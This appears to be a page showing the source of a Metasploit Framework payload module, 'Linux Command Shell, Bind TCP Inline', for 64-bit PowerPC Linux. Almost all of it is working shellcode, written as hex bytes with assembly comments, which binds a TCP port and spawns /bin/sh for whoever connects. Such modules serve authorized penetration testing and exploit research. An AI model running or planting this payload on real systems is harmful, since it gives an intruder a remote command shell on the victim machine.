Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 223
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Bind TCP Inline',
18
      'Description'   => 'Listen for a connection and spawn a command shell',
19
      'Author'        => 'Ramon de C Valle',
20
      'License'       => MSF_LICENSE,
21
      'Platform'      => 'linux',
22
      'Arch'          => [ ARCH_PPC64, ARCH_CBEA64 ],
23
      'Handler'       => Msf::Handler::BindTcp,
24
      'Session'       => Msf::Sessions::CommandShellUnix,
25
      'Payload'       =>
26
        {
27
          'Offsets' =>
28
            {
29
              'LPORT'    => [ 58, 'n' ],
30
            },
31
          'Payload' =>
32
            "\x7f\xff\xfa\x78"     + #   xor     r31,r31,r31                #
33
            "\x3b\xa0\x01\xff"     + #   li      r29,511                    #
34
            "\x3b\x9d\xfe\x02"     + #   addi    r28,r29,-510               #
35
            "\x3b\x7d\xfe\x03"     + #   addi    r27,r29,-509               #
36
            "\xfb\xe1\xff\xf9"     + #   stdu    r31,-8(r1)                 #
37
            "\xfb\x81\xff\xf9"     + #   stdu    r28,-8(r1)                 #
38
            "\xfb\x61\xff\xf9"     + #   stdu    r27,-8(r1)                 #
39
            "\x7c\x24\x0b\x78"     + #   mr      r4,r1                      #
40
            "\x38\x7d\xfe\x02"     + #   addi    r3,r29,-510                #
41
            "\x38\x1d\xfe\x67"     + #   addi    r0,r29,-409                #
42
            "\x44\xff\xff\x02"     + #   sc                                 #
43
            "\x7c\x7a\x1b\x78"     + #   mr      r26,r3                     #
44
            "\x3b\x3d\xfe\x11"     + #   addi    r25,r29,-495               #
45
            "\x3e\xe0\xff\x02"     + #   lis     r23,-254                   #
46
            "\x62\xf7\x04\xd2"     + #   ori     r23,r23,1234               #
47
            "\x97\xe1\xff\xfc"     + #   stwu    r31,-4(r1)                 #
48
            "\x96\xe1\xff\xfc"     + #   stwu    r23,-4(r1)                 #
49
            "\x7c\x36\x0b\x78"     + #   mr      r22,r1                     #
50
            "\xfb\x21\xff\xf9"     + #   stdu    r25,-8(r1)                 #
51
            "\xfa\xc1\xff\xf9"     + #   stdu    r22,-8(r1)                 #
52
            "\xfb\x41\xff\xf9"     + #   stdu    r26,-8(r1)                 #
53
            "\x7c\x24\x0b\x78"     + #   mr      r4,r1                      #
54
            "\x38\x7d\xfe\x03"     + #   addi    r3,r29,-509                #
55
            "\x38\x1d\xfe\x67"     + #   addi    r0,r29,-409                #
56
            "\x44\xff\xff\x02"     + #   sc                                 #
57
            "\xfb\xe1\xff\xf9"     + #   stdu    r31,-8(r1)                 #
58
            "\xfb\xe1\xff\xf9"     + #   stdu    r31,-8(r1)                 #
59
            "\xfb\x41\xff\xf9"     + #   stdu    r26,-8(r1)                 #
60
            "\x7c\x24\x0b\x78"     + #   mr      r4,r1                      #
61
            "\x38\x7d\xfe\x05"     + #   addi    r3,r29,-507                #
62
            "\x38\x1d\xfe\x67"     + #   addi    r0,r29,-409                #
63
            "\x44\xff\xff\x02"     + #   sc                                 #
64
            "\x7c\x24\x0b\x78"     + #   mr      r4,r1                      #
65
            "\x38\x7d\xfe\x06"     + #   addi    r3,r29,-506                #
66
            "\x38\x1d\xfe\x67"     + #   addi    r0,r29,-409                #
67
            "\x44\xff\xff\x02"     + #   sc                                 #
68
            "\x7c\x75\x1b\x78"     + #   mr      r21,r3                     #
69
            "\x7f\x64\xdb\x78"     + #   mr      r4,r27                     #
70
            "\x7e\xa3\xab\x78"     + #   mr      r3,r21                     #
71
            "\x38\x1d\xfe\x40"     + #   addi    r0,r29,-448                #
72
            "\x44\xff\xff\x02"     + #   sc                                 #
73
            "\x37\x7b\xff\xff"     + #   addic.  r27,r27,-1                 #
74
            "\x40\x80\xff\xec"     + #   bge+    <bndsockcode64+148>        #
75
            "\x7c\xa5\x2a\x79"     + #   xor.    r5,r5,r5                   #
76
            "\x40\x82\xff\xfd"     + #   bnel+   <bndsockcode64+172>        #
77
            "\x7f\xc8\x02\xa6"     + #   mflr    r30                        #
78
            "\x3b\xde\x01\xff"     + #   addi    r30,r30,511                #
79
            "\x38\x7e\xfe\x25"     + #   addi    r3,r30,-475                #
80
            "\x98\xbe\xfe\x2c"     + #   stb     r5,-468(r30)               #
81
            "\xf8\xa1\xff\xf9"     + #   stdu    r5,-8(r1)                  #
82
            "\xf8\x61\xff\xf9"     + #   stdu    r3,-8(r1)                  #
83
            "\x7c\x24\x0b\x78"     + #   mr      r4,r1                      #
84
            "\x38\x1d\xfe\x0c"     + #   addi    r0,r29,-500                #
85
            "\x44\xff\xff\x02"     + #   sc                                 #
86
            "/bin/sh"
87
        }
88
      ))
89
  end
90
end
91

92